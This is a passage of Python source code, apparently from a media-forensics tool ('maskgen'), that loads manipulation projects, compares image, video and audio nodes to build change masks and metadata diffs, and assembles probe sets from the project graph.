created. Returns None if a project cannot be found or created. @type path: str @type notify: (str, str) -> None @rtype (ImageProjectModel, bool) """ if path is None: path = '.' selectionSet = [filename for filename in os.listdir(path) if filename.endswith(".json") and \ filename != 'operations.json' and filename != 'project_properties.json'] if len(selectionSet) == 0: return projectModelFactory(os.path.join('.', 'Untitled.json'), notify=notify), True else: if (path.endswith(".json")): return projectModelFactory(os.path.abspath(path), notify=notify), False selectionSet = [filename for filename in os.listdir(path) if filename.endswith(".json")] if len(selectionSet) != 0 and base is not None: logging.getLogger('maskgen').warning('Cannot add base image/video to an existing project') return None if len(selectionSet) == 0 and base is None: logging.getLogger('maskgen').info( 'No project found and base image/video not provided; Searching for a base image/video') suffixPos = 0 while len(selectionSet) == 0 and suffixPos < len(suffixes): suffix = suffixes[suffixPos] selectionSet = [filename for filename in os.listdir(path) if filename.lower().endswith(suffix)] selectionSet.sort() suffixPos += 1 projectFile = selectionSet[0] if len(selectionSet) > 0 else None if projectFile is None: logging.getLogger('maskgen').warning( 'Could not find a base image/video') return None # add base is not None elif len(selectionSet) == 0: projectFile = os.path.split(base)[1] else: projectFile = selectionSet[0] projectFile = os.path.abspath(os.path.join(path, projectFile)) if not os.path.exists(projectFile): logging.getLogger('maskgen').warning( 'Base project file ' + projectFile + ' not found') return None image = None existingProject = projectFile.endswith(".json") if not existingProject: image = projectFile #Compatible with new maskgen. if name is None: projectFile = projectFile[0:projectFile.rfind(".")] + ".json" else: projectFile = os.path.abspath(os.path.join(path,name + ".json")) #Compatible with Xu's project with time. if not timestr: projectFile = projectFile[0:projectFile.rfind(".")] + ".json" else: projectFile = projectFile[0:projectFile.rfind(".")] + '_' + timestr + ".json" model = projectModelFactory(projectFile, notify=notify, baseImageFileName=image) if organization is not None: model.setProjectData('organization', organization) if image is not None: model.addImagesFromDir(path, baseImageFileName=os.path.split(image)[1], suffixes=suffixes, \ sortalg=lambda f: os.stat(os.path.join(path, f)).st_mtime) return model, not existingProject def constructCompositesGivenProbes(probes): """ :param probes: :return: @type probes: list of Probe """ class MetaDiff: diffData = None def __init__(self, diffData): self.diffData = diffData def getMetaType(self): return 'EXIF' def getSections(self): return None def getColumnNames(self, section): return ['Operation', 'Old', 'New'] def toColumns(self, section): d = {} for k, v in self.diffData.iteritems(): old = v[1] if v[0].lower() == 'change' or v[0].lower() == 'delete' else '' new = v[2] if v[0].lower() == 'change' else (v[1] if v[0].lower() == 'add' else '') old = old.encode('ascii', 'xmlcharrefreplace') new = new.encode('ascii', 'xmlcharrefreplace') d[k] = {'Operation': v[0], 'Old': old, 'New': new} return d class VideoMetaDiff: """ Video Meta-data changes are represented by section. A special section called Global represents meta-data for the entire video. Other sections are in the individual streams (e.g. video and audio) of frames. A table of columns is produced per section. The columns are Id, Operation, Old and New. Operations are add, delete and change. For streams, each row is identified by a time and meta-data name. When frames are added, the New column contains the number of frames added followed by the end time in seconds: 30:=434.4343434 When frames are deleted, the Old column contains the number of frames removed followed by the end time in seconds: 30:=434.4343434 """ diffData = None def __init__(self, diffData): self.diffData = diffData def getMetaType(self): return 'FRAME' def getSections(self): return ['Global'] + self.diffData[1].keys() def getColumnNames(self, section): return ['Operation', 'Old', 'New'] def toColumns(self, section): d = {} if section is None: section = 'Global' if section == 'Global': self._sectionChanges(d, self.diffData[0]) else: itemTuple = self.diffData[1][section] if itemTuple[0] == 'add': d['add'] = {'Operation': '', 'Old': '', 'New': ''} elif itemTuple[0] == 'delete': d['delete'] = {'Operation': '', 'Old': '', 'New': ''} else: for changeTuple in itemTuple[1]: if changeTuple[0] == 'add': d[str(changeTuple[1])] = {'Operation': 'add', 'Old': '', 'New': str(changeTuple[3]) + ':=>' + str(changeTuple[2])} elif changeTuple[0] == 'delete': d[str(changeTuple[1])] = {'Operation': 'delete', 'Old': str(changeTuple[3]) + ':=>' + str(changeTuple[2]), 'New': ''} else: self._sectionChanges(d, changeTuple[4], prefix=str(changeTuple[3])) return d def _sectionChanges(self, d, sectionData, prefix=''): for k, v in sectionData.iteritems(): dictKey = k if prefix == '' else prefix + ': ' + str(k) old = v[1] if v[0].lower() == 'change' or v[0].lower() == 'delete' else '' new = v[2] if v[0].lower() == 'change' else (v[1] if v[0].lower() == 'add' else '') if type(old) is not str: old = str(old) if type(new) is not str: new = str(new) old = old.encode('ascii', 'xmlcharrefreplace') new = new.encode('ascii', 'xmlcharrefreplace') d[dictKey] = {'Operation': v[0], 'Old': old, 'New': new} class Modification: """ Represents a single manipulation to a source node, resulting in the target node """ operationName = None additionalInfo = '' # for backward compatibility and ease of access, input mask name is both arguments and # an instance variable inputMaskName = None # set of masks used for videos maskSet = None # Record the link in the composite. Uses 'no' and 'yes' to mirror JSON read-ability recordMaskInComposite = 'no' # arguments used by the operation arguments = dict() # instance of Software software = None # automated automated = 'no' # errors errors = list() #generate mask generateMask = True username = '' ctime = '' start = '' end = '' semanticGroups = None def __init__(self, operationName, additionalInfo, start='', end='', arguments={}, recordMaskInComposite=None, changeMaskName=None, inputMaskName=None, software=None, maskSet=None, automated=None, username=None, ctime=None, errors=list(), semanticGroups = None): self.start = start self.end = end self.additionalInfo = additionalInfo self.maskSet = maskSet self.automated = automated if automated else 'no' self.errors = errors if errors else list() self.setOperationName(operationName) self.setArguments(arguments) self.semanticGroups = semanticGroups if inputMaskName is not None: self.setInputMaskName(inputMaskName) self.changeMaskName = changeMaskName self.username=username if username is not None else '' self.ctime =ctime if ctime is not None else datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S') self.software = software if recordMaskInComposite is not None: self.recordMaskInComposite = recordMaskInComposite def setSemanticGroups(self, groups): self.semanticGroups = groups def setErrors(self, val): self.errors = val if val else list() def setAutomated(self, val): self.automated = 'yes' if val == 'yes' else 'no' def setMaskSet(self, maskset): self.maskSet = maskset def getSoftwareName(self): return self.software.name if self.software is not None and self.software.name is not None else '' def getSoftwareVersion(self): return self.software.version if self.software is not None and self.software.version is not None else '' def setSoftware(self, software): self.software = software def setArguments(self, args): self.arguments = dict() for k, v in args.iteritems(): self.arguments[k] = v if k == 'inputmaskname': self.setInputMaskName(v) def setInputMaskName(self, inputMaskName): self.inputMaskName = inputMaskName if 'inputmaskname' not in self.arguments or self.arguments['inputmaskname'] != inputMaskName: self.arguments['inputmaskname'] = inputMaskName def setAdditionalInfo(self, info): self.additionalInfo = info def setRecordMaskInComposite(self, recordMaskInComposite): self.recordMaskInComposite = recordMaskInComposite def setOperationName(self, name): self.operationName = name if name is None or name == '': return op = getOperationWithGroups(self.operationName,warning=False) self.category = op.category if op is not None else None self.recordMaskInComposite = 'yes' if op is not None and op.includeInMask else 'no' self.generateMask = op.generateMask if op is not None else True class LinkTool: def __init__(self): return def compareImages(self, start, destination, scModel, op, invert=False, arguments={}, skipDonorAnalysis=False,analysis_params={}): return None, {}, [] def _addAnalysis(self, startIm, destIm, op, analysis, mask, linktype=None, arguments={}, start=None, end=None, scModel=None): """ Add analysis to dictionary :param startIm: :param destIm: :param op: :param analysis: fill this dictionary :param mask: :param linktype: :param arguments: :param start: :param end: :param scModel: :return: @type scModel: ImageProjectModel """ import importlib directory=scModel.get_dir() opData = getOperationWithGroups(op) if opData is None: return arguments = dict(arguments) arguments['start_node'] = start arguments['end_node'] = end arguments['sc_model'] = scModel for analysisOp in opData.analysisOperations: mod_name, func_name = analysisOp.rsplit('.', 1) try: mod = importlib.import_module(mod_name) func = getattr(mod, func_name) func(analysis, startIm, destIm, mask=invertMask(mask),linktype=linktype, arguments=arguments, directory=directory) except Exception as e: logging.getLogger('maskgen').error('Failed to run analysis {}: {} '.format(analysisOp, str(e))) class ImageImageLinkTool(LinkTool): """ Supports mask construction and meta-data comparison when linking images to images. """ def __init__(self): LinkTool.__init__(self) def compare(self, start, end, scModel, arguments={}): """ Compare the 'start' image node to the image node with the name in the 'destination' parameter. Return both images, the mask and the analysis results (a dictionary) """ im1 = scModel.getImage(start) im2 = scModel.getImage(end) edge = scModel.G.get_edge(start, end) compareFunction = None if edge is not None: operation = getOperationWithGroups(edge['op'] if edge is not None else 'NA', fake=True) compareFunction = operation.getCompareFunction() mask, analysis = createMask(im1, im2, invert=False, arguments=arguments, alternativeFunction=compareFunction) return im1, im2, mask, analysis def compareImages(self, start, destination, scModel, op, invert=False, arguments={}, skipDonorAnalysis=False,analysis_params={}): """ :param start: :param destination: :param scModel: :param op: :param invert: :param arguments: :param skipDonorAnalysis: :param analysis_params: :return: @type scModel: ImageProjectModel """ startIm, startFileName = scModel.getImageAndName(start) destIm, destFileName = scModel.getImageAndName(destination) errors = list() operation = getOperationWithGroups(op) if op == 'Donor': predecessors = scModel.G.predecessors(destination) mask = None expect_donor_mask = False if not skipDonorAnalysis: errors= list() for pred in predecessors: pred_edge = scModel.G.get_edge(pred, destination) edge_op = getOperationWithGroups(pred_edge['op']) expect_donor_mask = edge_op is not None and 'checkSIFT' in edge_op.rules if expect_donor_mask: mask = scModel.G.get_edge_image(pred, destination, 'arguments.pastemask')[0] if mask is None: mask = scModel.G.get_edge_image(pred, destination, 'maskname')[0] mask, analysis = interpolateMask( mask, startIm, destIm, arguments=consolidate(arguments,analysis_params), invert=invert) if mask is not None: mask = ImageWrapper(mask) break if mask is None: analysis = {} predecessors = scModel.G.predecessors(start) for pred in predecessors: edge = scModel.G.get_edge(pred, start) # probably should change this to == 'SelectRegion' if edge['op'] == 'SelectRegion': mask = invertMask(scModel.G.get_edge_image(pred, start, 'maskname')[0]) if mask.size != startIm.size: mask = mask.resize(startIm.size,Image.ANTIALIAS) break if mask is None: mask = convertToMask(startIm).invert() if expect_donor_mask: errors = ["Donor image has insufficient features for SIFT and does not have a predecessor node."] analysis = {} else: mask = startIm.apply_alpha_to_mask(mask) else: mask, analysis = createMask(startIm, destIm, invert=invert, arguments=arguments, alternativeFunction=operation.getCompareFunction(), convertFunction=operation.getConvertFunction()) exifDiff = exif.compareexif(startFileName, destFileName) analysis = analysis if analysis is not None else {} analysis['exifdiff'] = exifDiff self._addAnalysis(startIm, destIm, op, analysis, mask, linktype='image.image', arguments=consolidate(arguments,analysis_params), start=start, end=destination, scModel=scModel) return mask, analysis, errors class VideoImageLinkTool(ImageImageLinkTool): """ Supports mask construction and meta-data comparison when linking video to image. """ def __init__(self): ImageImageLinkTool.__init__(self) def compare(self, start, end, scModel, arguments={}): """ Compare the 'start' image node to the image node with the name in the 'destination' parameter. Return both images, the mask and the analysis results (a dictionary) """ im1, startFileName = scModel.getImageAndName(start, arguments=arguments) im2, destFileName = scModel.getImageAndName(end) edge = scModel.G.get_edge(start, end) operation = getOperationWithGroups(edge['op']) mask, analysis = createMask(im1, im2, invert=False, arguments=arguments,alternativeFunction=operation.getCompareFunction()) return im1, im2, mask, analysis def compareImages(self, start, destination, scModel, op, invert=False, arguments={}, skipDonorAnalysis=False,analysis_params={}): args = dict(arguments) args['skipSnapshot'] = True startIm, startFileName = scModel.getImageAndName(start,arguments=args) destIm, destFileName = scModel.getImageAndName(destination) errors = list() operation = getOperationWithGroups(op) if op == 'Donor': errors = ["An video cannot directly donate to an image. First select a frame using an appropriate operation."] analysis = {} else: mask, analysis = createMask(startIm, destIm, invert=invert, arguments=arguments,alternativeFunction=operation.getCompareFunction()) exifDiff = exif.compareexif(startFileName, destFileName) analysis = analysis if analysis is not None else {} analysis['exifdiff'] = exifDiff self._addAnalysis(startIm, destIm, op, analysis, mask,linktype='video.image', arguments=consolidate(arguments,analysis_params), start=start, end=destination, scModel=scModel) return mask, analysis, errors class VideoVideoLinkTool(LinkTool): """ Supports mask construction and meta-data comparison when linking video to video. """ def __init__(self): LinkTool.__init__(self) def compare(self, start, end, scModel, arguments={}): """ Compare the 'start' image node to the image node with the name in the 'destination' parameter. Return both images, the mask set and the meta-data diff results """ startIm, startFileName = scModel.getImageAndName(start) destIm, destFileName = scModel.getImageAndName(end) mask, analysis, errors = self.compareImages(start, end, scModel, 'noOp', skipDonorAnalysis=True, arguments=arguments,analysis_params={}) if 'metadatadiff' in analysis: analysis['metadatadiff'] = VideoMetaDiff(analysis['metadatadiff']) if 'videomasks' in analysis: analysis['videomasks'] = VideoMaskSetInfo(analysis['videomasks']) if 'errors' in analysis: analysis['errors'] = VideoMaskSetInfo(analysis['errors']) return startIm, destIm, mask, analysis def _constructDonorMask(self, startFileName, destFileName, start, destination, scModel, invert=False, arguments={}): """ Used for Donor video or images, the mask recording a 'donation' is the inversion of the difference of the Donor image and its parent, it exists. Otherwise, the donor image mask is the donor image (minus alpha channels): """ predecessors = scModel.G.predecessors(destination) errors = [] for pred in predecessors: edge = scModel.G.get_edge(pred, destination) op = getOperationWithGroups(edge['op']) if op is not None and 'checkSIFT' in op.rules: return video_tools.interpolateMask( os.path.join(scModel.G.dir,shortenName(start + '_' + destination, '_mask')), scModel.G.dir, edge['videomasks'], startFileName, destFileName, arguments=arguments) return [],errors def compareImages(self, start, destination, scModel, op, invert=False, arguments={}, skipDonorAnalysis=False,analysis_params={}): """ :param start: :param destination: :param scModel: :param op: :param invert: :param arguments: :param skipDonorAnalysis: :param analysis_params: :return: @type start: str @type destination: str @type scModel: ImageProjectModel @type op: str @type invert: bool @type arguments: dict """ startIm, startFileName = scModel.getImageAndName(start) destIm, destFileName = scModel.getImageAndName(destination) mask, analysis = ImageWrapper(np.zeros((startIm.image_array.shape[0],startIm.image_array.shape[1])).astype('uint8')), {} operation = getOperationWithGroups(op, fake=True) if op != 'Donor' and not operation.generateMask: maskSet = list() errors = list() elif op == 'Donor': maskSet, errors = self._constructDonorMask(startFileName, destFileName, start, destination, scModel, invert=invert, arguments=consolidate(arguments,analysis_params)) else: maskSet, errors = video_tools.formMaskDiff(startFileName, destFileName, os.path.join(scModel.G.dir, start + '_' + destination), op, startSegment=getMilliSecondsAndFrameCount(arguments[ 'Start Time']) if 'Start Time' in arguments else None, endSegment=getMilliSecondsAndFrameCount(arguments[ 'End Time']) if 'End Time' in arguments else None, analysis=analysis, alternateFunction=operation.getCompareFunction(), arguments=consolidate(arguments, analysis_params)) # for now, just save the first mask if len(maskSet) > 0 and 'mask' in maskSet[0]: mask = ImageWrapper(maskSet[0]['mask']) for item in maskSet: item.pop('mask') analysis['masks count'] = len(maskSet) analysis['videomasks'] = maskSet metaDataDiff = video_tools.formMetaDataDiff(startFileName, destFileName) analysis = analysis if analysis is not None else {} analysis['metadatadiff'] = metaDataDiff analysis['shape change'] = sizeDiff(startIm, destIm) self._addAnalysis(startIm, destIm, op, analysis, mask, linktype='video.video', arguments=consolidate(arguments,analysis_params), start=start, end=destination, scModel=scModel) return mask, analysis, errors class AudioVideoLinkTool(LinkTool): """ Supports mask construction and meta-data comparison when linking audio to video. """ def __init__(self): LinkTool.__init__(self) def compare(self, start, end, scModel, arguments={}): """ Compare the 'start' image node to the image node with the name in the 'destination' parameter. Return both images, the mask set and the meta-data diff results """ analysis = dict() if 'metadatadiff' in analysis: analysis['metadatadiff'] = VideoMetaDiff(analysis['metadatadiff']) if 'errors' in analysis: analysis['errors'] = VideoMaskSetInfo(analysis['errors']) return None, None, None, analysis def compareImages(self, start, destination, scModel, op, invert=False, arguments={}, skipDonorAnalysis=False,analysis_params={}): """ :param start: :param destination: :param scModel: :param op: :param invert: :param arguments: :param skipDonorAnalysis: :param analysis_params: :return: %type scModel: ImageProjectModel """ startIm, startFileName = scModel.getImageAndName(start) destIm, destFileName = scModel.getImageAndName(destination) mask = ImageWrapper(np.zeros((startIm.image_array.shape[0], startIm.image_array.shape[1])).astype('uint8')) analysis = dict() analysis['masks count'] = 0 analysis['videomasks'] = list() metaDataDiff = video_tools.formMetaDataDiff(startFileName, destFileName) analysis = analysis if analysis is not None else {} analysis['metadatadiff'] = metaDataDiff operation = getOperationWithGroups(op, fake=True) if op != 'Donor' and operation.generateMask: maskSet, errors = video_tools.formMaskDiff(startFileName, destFileName, os.path.join(scModel.G.dir, start + '_' + destination), op, startSegment=getMilliSecondsAndFrameCount(arguments[ 'Start Time']) if 'Start Time' in arguments else None, endSegment=getMilliSecondsAndFrameCount(arguments[ 'End Time']) if 'End Time' in arguments else None, analysis=analysis, alternateFunction=operation.getCompareFunction(), arguments=consolidate(arguments, analysis_params)) analysis['masks count'] = len(maskSet) analysis['videomasks'] = maskSet self._addAnalysis(startIm, destIm, op, analysis, None,linktype='audio.audio', arguments=consolidate(arguments,analysis_params), start=start, end=destination, scModel=scModel) return mask, analysis, errors class AudioAudioLinkTool(AudioVideoLinkTool): """ Supports mask construction and meta-data comparison when linking audio to audio. """ def __init__(self): AudioVideoLinkTool.__init__(self) class VideoAudioLinkTool(LinkTool): """ Supports mask construction and meta-data comparison when linking video to audio. """ def __init__(self): LinkTool.__init__(self) def compare(self, start, end, scModel, arguments={}): """ Compare the 'start' image node to the image node with the name in the 'destination' parameter. Return both images, the mask set and the meta-data diff results """ analysis = dict() if 'metadatadiff' in analysis: analysis['metadatadiff'] = VideoMetaDiff(analysis['metadatadiff']) if 'errors' in analysis: analysis['errors'] = VideoMaskSetInfo(analysis['errors']) return None, None, None, analysis def compareImages(self, start, destination, scModel, op, invert=False, arguments={}, skipDonorAnalysis=False, analysis_params={}): startIm, startFileName = scModel.getImageAndName(start) destIm, destFileName = scModel.getImageAndName(destination) mask = ImageWrapper(np.zeros((startIm.image_array.shape[0], startIm.image_array.shape[1])).astype('uint8')) analysis = dict() analysis['masks count'] = 0 analysis['videomasks'] = list() metaDataDiff = video_tools.formMetaDataDiff(startFileName, destFileName) analysis = analysis if analysis is not None else {} analysis['metadatadiff'] = metaDataDiff self._addAnalysis(startIm, destIm, op, analysis, None, linktype='video.audio', arguments=consolidate(arguments,analysis_params), start=start, end=destination, scModel=scModel) return mask, analysis, list() class ImageVideoLinkTool(VideoVideoLinkTool): """ Supports mask construction and meta-data comparison when linking images to images. """ def __init__(self): VideoVideoLinkTool.__init__(self) def compareImages(self, start, destination, scModel, op, invert=False, arguments={}, skipDonorAnalysis=False,analysis_params={}): startIm, startFileName = scModel.getImageAndName(start) destIm, destFileName = scModel.getImageAndName(destination) mask,analysis = ImageWrapper(np.zeros((startIm.image_array.shape[0], startIm.image_array.shape[1])).astype('uint8')),{} maskSet =[] errors = list() if op == 'Donor': maskSet, errors = self._constructDonorMask(startFileName, destFileName, start, destination, scModel, invert=invert, arguments=consolidate(arguments, analysis_params)) # for now, just save the first mask if len(maskSet) > 0: mask = ImageWrapper(maskSet[0]['mask']) for item in maskSet: item.pop('mask') analysis['masks count'] = len(maskSet) analysis['videomasks'] = maskSet analysis = analysis if analysis is not None else {} self._addAnalysis(startIm, destIm, op, analysis, mask,linktype='image.video', arguments=consolidate(arguments,analysis_params), start=start, end=destination, scModel=scModel) return mask, analysis, errors class AddTool: def getAdditionalMetaData(self, media): return {} class VideoAddTool(AddTool): def getAdditionalMetaData(self, media): return video_tools.getMeta(media)[0] class OtherAddTool(AddTool): def getAdditionalMetaData(self, media): return {} addTools = {'video': VideoAddTool(),'audio':OtherAddTool(),'image':OtherAddTool()} linkTools = {'image.image': ImageImageLinkTool(), 'video.video': VideoVideoLinkTool(), 'image.video': ImageVideoLinkTool(), 'video.image': VideoImageLinkTool(), 'video.audio': VideoAudioLinkTool(), 'audio.video': AudioVideoLinkTool(), 'audio.audio': AudioAudioLinkTool() } class ImageProjectModel: """ A ProjectModel manages a project. A project is made up of a directed graph of Image nodes and links. Each link is associated with a manipulation between the source image to the target image. A link contains a mask(black and white) image file describing the changes. A mask's X&Y dimensions match the source image. A link contains a description of the manipulation operation, software used to perfrom the manipulation, analytic results comparing source to target images, and an input mask path name. The input mask path name describes a mask used by the manipulation software as a parameter describing the manipulation. Links may be 'read-only' indicating that they are created through an automated plugin. A ProjectModel can be reused to open new projects. It is designed to represent a view model (MVC). A ProjectModel has two state paremeters, 'start' and 'end', containing the name of image nodes in the graph. When both set, a link is selected. When 'start' is set and 'end' is None, only a single image node is selected. Several methods on the ProjectModel depend on the state of these parameters. For example, adding a new link to a image node, chooses the source node referenced by 'end' if set, otherwise it chooses the node referenced by 'start' """ G = None start = None end = None notify = None """ @type G: ImageGraph @type start: String @type end: String """ lock = Lock() def __init__(self, projectFileName, graph=None, importImage=False, notify=None,baseImageFileName=None): self.notify = notify if graph is not None: graph.arg_checker_callback = self.__scan_args_callback self._setup(projectFileName, graph=graph,baseImageFileName=baseImageFileName) def get_dir(self): return self.G.dir def addImagesFromDir(self, dir, baseImageFileName=None, xpos=100, ypos=30, suffixes=list(), sortalg=lambda s: s.lower()): """ Bulk add all images from a given directory into the project. Position the images in a grid, separated by 50 vertically with a maximum height of 520. Images are imported in lexicographic order, first importing JPG, then PNG and finally TIFF. If baseImageFileName, the name of an image node, is provided, then that node is selected upong completion of the operation. Otherwise, the last not imported is selected" """ initialYpos = ypos totalSet = [] for suffix in suffixes: totalSet.extend([filename for filename in os.listdir(dir) if filename.lower().endswith(suffix) and \ not filename.endswith('_mask' + suffix) and \ not filename.endswith('_proxy' + suffix)]) totalSet = sorted(totalSet, key=sortalg) for filename in totalSet: pathname = os.path.abspath(os.path.join(dir, filename)) additional = self.getAddTool(pathname).getAdditionalMetaData(pathname) nname = self.G.add_node(pathname, xpos=xpos, ypos=ypos, nodetype='base',**additional) ypos += 50 if ypos == 450: ypos = initialYpos xpos += 50 if filename == baseImageFileName: self.start = nname self.end = None if self.notify is not None: self.notify((self.start, None), 'add') def addImage(self, pathname,cgi=False): maxx = max([self.G.get_node(node)['xpos'] for node in self.G.get_nodes() if 'xpos' in self.G.get_node(node)] + [50]) maxy = max([self.G.get_node(node)['ypos'] for node in self.G.get_nodes() if 'ypos' in self.G.get_node(node)] + [50]) additional = self.getAddTool(pathname).getAdditionalMetaData(pathname) nname = self.G.add_node(pathname, nodetype='base', cgi='yes' if cgi else 'no', xpos=maxx+75, ypos=maxy,**additional) self.start = nname self.end = None if self.notify is not None: self.notify((self.start, None), 'add') return nname def getEdgesBySemanticGroup(self): """ :return: association of semantics groups to edge id tuples (start,end) @rtype: dict of list of tuple """ result = {} for edgeid in self.getGraph().get_edges(): for grp in self.getSemanticGroups(edgeid[0],edgeid[1]): if grp not in result: result[grp] = [edgeid] else: result[grp].append(edgeid) return result def add_to_edge(self,**items): self.G.update_edge(self.start, self.end, **items) self.notify((self.start, self.end),'update_edge') def update_node(self,node_properties): self.G.update_node(self.start,**node_properties) def update_edge(self, mod): """ :param mod: :return: @type mod: Modification """ self.G.update_edge(self.start, self.end, op=mod.operationName, description=mod.additionalInfo, arguments={k: v for k, v in mod.arguments.iteritems() if k != 'inputmaskname'}, recordMaskInComposite=mod.recordMaskInComposite, semanticGroups = mod.semanticGroups, editable='no' if ( mod.software is not None and mod.software.internal) or mod.operationName == 'Donor' else 'yes', softwareName=('' if mod.software is None else mod.software.name), softwareVersion=('' if mod.software is None else mod.software.version), inputmaskname=mod.inputMaskName) self.notify((self.start, self.end), 'update_edge') self._save_group(mod.operationName) def compare(self, destination, arguments={}): """ Compare the 'start' image node to the image node with the name in the 'destination' parameter. Return both images, the mask and the analysis results (a dictionary) """ return self.getLinkTool(self.start, destination).compare(self.start, destination, self, arguments=arguments) def getMetaDiff(self): """ Return the EXIF differences between nodes referenced by 'start' and 'end' Return the Frame meta-data differences between nodes referenced by 'start' and 'end' """ e = self.G.get_edge(self.start, self.end) if e is None: return None videodiff = VideoMetaDiff(e['metadatadiff']) if 'metadatadiff' in e else None imagediff = MetaDiff(e['exifdiff']) if 'exifdiff' in e and len(e['exifdiff']) > 0 else None return imagediff if imagediff is not None else videodiff def getDonorAndBaseNodeTuples(self): """ Return a tuple (edge, base node, list of nodes that for the path from edge to base) for each valid donor path through the graph """ donorEdges = [] for edge_id in self.G.get_edges(): edge = self.G.get_edge(edge_id[0], edge_id[1]) if graph_rules.eligible_for_donor(edge): donorEdges.append(edge_id) results = [] for edge in donorEdges: baseSet = self._findBaseNodesAndPaths(edge[0],excludeDonor=True) for base in baseSet: if (edge, base) not in results: results.append((edge, base[0],base[1])) if len(baseSet) == 0: results.append((edge, None, list())) for result in results: result[2].reverse() return results def getTerminalAndBaseNodeTuples(self): """ Return a tuple (lead node, base node) for each valid (non-donor) path through the graph """ terminalNodes = [node for node in self.G.get_nodes() if len(self.G.successors(node)) == 0 and len(self.G.predecessors(node)) > 0] return [(node, self._findBaseNodes(node)) for node in terminalNodes] def getEdges(self,endNode): """ :param endNode: (identifier) :return: tuple (start, end, edge map) for all edges ending in endNode """ return self._findEdgesWithCycleDetection(endNode, excludeDonor=True, visitSet=list()) def getNodeNames(self): return self.G.get_nodes() def getCurrentNode(self): return self.G.get_node(self.start) def isEditableEdge(self, start, end): e = self.G.get_edge(start, end) return 'editable' not in e or e['editable'] == 'yes' def findChild(self, parent, child): for suc in self.G.successors(parent): if suc == child or self.findChild(suc, child): return True return False def compress(self, all=False): if all: return [self._compress(node) for node in self.G.get_nodes()] else: return self._compress(self.start) def _compress(self, start, force=False): defaults = {'compressor.video': 'maskgen.video_tools.x264', 'compressor.audio': None, 'compressor.image': None} node = self.G.get_node(start) ftype = self.getNodeFileType(start) # cannot finish the action since the edge analysis was skipped for skipped_edge in self.G.getDataItem('skipped_edges', []): if skipped_edge['start'] == start: return if (len(self.G.successors(start)) == 0 or len(self.G.predecessors(start)) == 0) and not force: return props = {'remove_video':False} for pred in self.G.predecessors(start): edge = self.G.get_edge(pred,start) op = getOperationWithGroups(edge['op'],fake=True) if op.category == 'Audio': props['remove_video'] = True compressor = prefLoader.get_key('compressor.' + ftype, default_value=defaults['compressor.' + ftype]) if ('compressed' in node and node['compressed'] == compressor): return func = getRule(compressor) newfile = None if func is not None: newfilename = func(os.path.join(self.get_dir(),node['file']), **props) if newfilename is not None: newfile = os.path.split(newfilename)[1] node['file'] = newfile return newfile def connect(self, destination, mod=Modification('Donor', ''), invert=False, sendNotifications=True, skipDonorAnalysis=False): """ Given a image node name, connect the new node to the end of the currently selected node. Create the mask, inverting the mask if requested. Send a notification to the register caller if requested. Return an error message on failure, otherwise return None """ if self.start is None: return "Node node selected", False if not self.G.has_node(destination): return "Canvas out of state from model. Node Missing.", False if self.findChild(destination, self.start): return "Cannot connect to ancestor node", False for suc in self.G.successors(self.start): if suc == destination: return "Cannot connect to the same node twice", False return self._connectNextImage(destination, mod, invert=invert, sendNotifications=sendNotifications, skipDonorAnalysis=skipDonorAnalysis) def getProbeSetWithoutComposites(self, otherCondition=None): """ Calls constructDonors() :param skipComputation: If True, will skip computation of masks where possible :param otherCondition: filter out edges to not include in the probe set :return: The set of probes @rtype: list of Probe """ self._executeSkippedComparisons() donors = self.constructDonors() probes = list() for edge_id in self.G.get_edges(): edge = self.G.get_edge(edge_id[0], edge_id[1]) if edge['recordMaskInComposite'] == 'yes' or (otherCondition is not None and otherCondition(edge)): baseNodeIdsAndLevels = self._findBaseNodesWithCycleDetection(edge_id[0]) baseNodeId, level, path = baseNodeIdsAndLevels[0] if len(baseNodeIdsAndLevels) > 0 else (None, None) edgeMask = self.G.get_edge_image(edge_id[0], edge_id[1], 'maskname')[0] # build composite selectMasks = self._getUnresolvedSelectMasksForEdge(edge) composite = edgeMask.invert().to_array() composite = mask_rules.alterComposite(edge, edge_id[0], edge_id[1], composite,edgeMask.to_array(), self.get_dir(), graph=self.G, top=True) for target_mask,finalNodeId in self._constructTransformedMask((edge_id[0],edge_id[1]), composite): target_mask = target_mask.invert() if finalNodeId in selectMasks: try: tm = openImageFile(os.path.join(self.get_dir(),selectMasks[finalNodeId]),isMask=True) target_mask = tm except Exception as e: logging.getLogger('maskgen').error( 'bad replacement file ' + selectMasks[finalNodeId]) target_mask_filename = os.path.join(self.get_dir(), shortenName(edge_id[0] + '_' + edge_id[1] + '_' + finalNodeId, '_ps.png')) target_mask.save(target_mask_filename, format='PNG') self._add_final_node_with_donors(probes, edge_id, finalNodeId, baseNodeId, target_mask, target_mask_filename, edge_id[1],level,donors) return probes def _to_color_target_name(self,name): return name[0:name.rfind('.png')] + '_c.png' def _add_final_node_with_donors(self, probes, edge_id, finalNodeId, baseNodeId, target_mask, target_mask_filename, end_node, level, donors): donormasks = [donor for donor in donors if donor[0] == end_node] if len(donormasks) > 0: for image_node, donorbase, donor_mask_image, donor_mask_file_name in donormasks: probes.append(Probe(edge_id, finalNodeId, baseNodeId, target_mask, os.path.join(self.G.dir,target_mask_filename), sizeOfChange(np.asarray(target_mask).astype('uint8')), donorbase, donor_mask_image, os.path.join(self.G.dir,donor_mask_file_name), level=level)) else: probes.append(Probe(edge_id, finalNodeId, baseNodeId, target_mask, os.path.join(self.G.dir,target_mask_filename), sizeOfChange(np.asarray(target_mask).astype('uint8')), None, None, None, level=level)) def getProbeSet(self,operationTypes=None, otherCondition=None, compositeBuilders=[ColorCompositeBuilder]): """ Builds composites and donors. :param skipComputation: skip donor and composite construction, updating graph :param operationTypes: list of operation names to include in probes, otherwise all :param otherCondition: a function returning True/False that takes an edge as argument :return: list if Probe @type operationTypes: list of str @type otherCondition: (dict) -> bool @rtype: list of Probe """ """ Builds composites :otherCondition """ self._executeSkippedComparisons() probes = self.getProbeSetWithoutComposites(otherCondition=otherCondition) probes = sorted(probes,key=lambda probe: probe.level) localCompositeBuilders = [cb() for cb in compositeBuilders] for compositeBuilder in localCompositeBuilders: compositeBuilder.initialize(self.G,probes) maxpass = max([compositeBuilder.passes for compositeBuilder in localCompositeBuilders]) composite_bases = dict() for passcount in range(maxpass): for probe in probes: composite_bases[probe.finalNodeId] = probe.targetBaseNodeId edge = self.G.get_edge(probe.edgeId[0],probe.edgeId[1]) if (operationTypes is not None and edge['op'] not in operationTypes) or \ (otherCondition is not None and not otherCondition(edge)): continue for compositeBuilder in localCompositeBuilders: compositeBuilder.build(passcount,probe,edge) for compositeBuilder in localCompositeBuilders: compositeBuilder.finalize(probes) return probes def 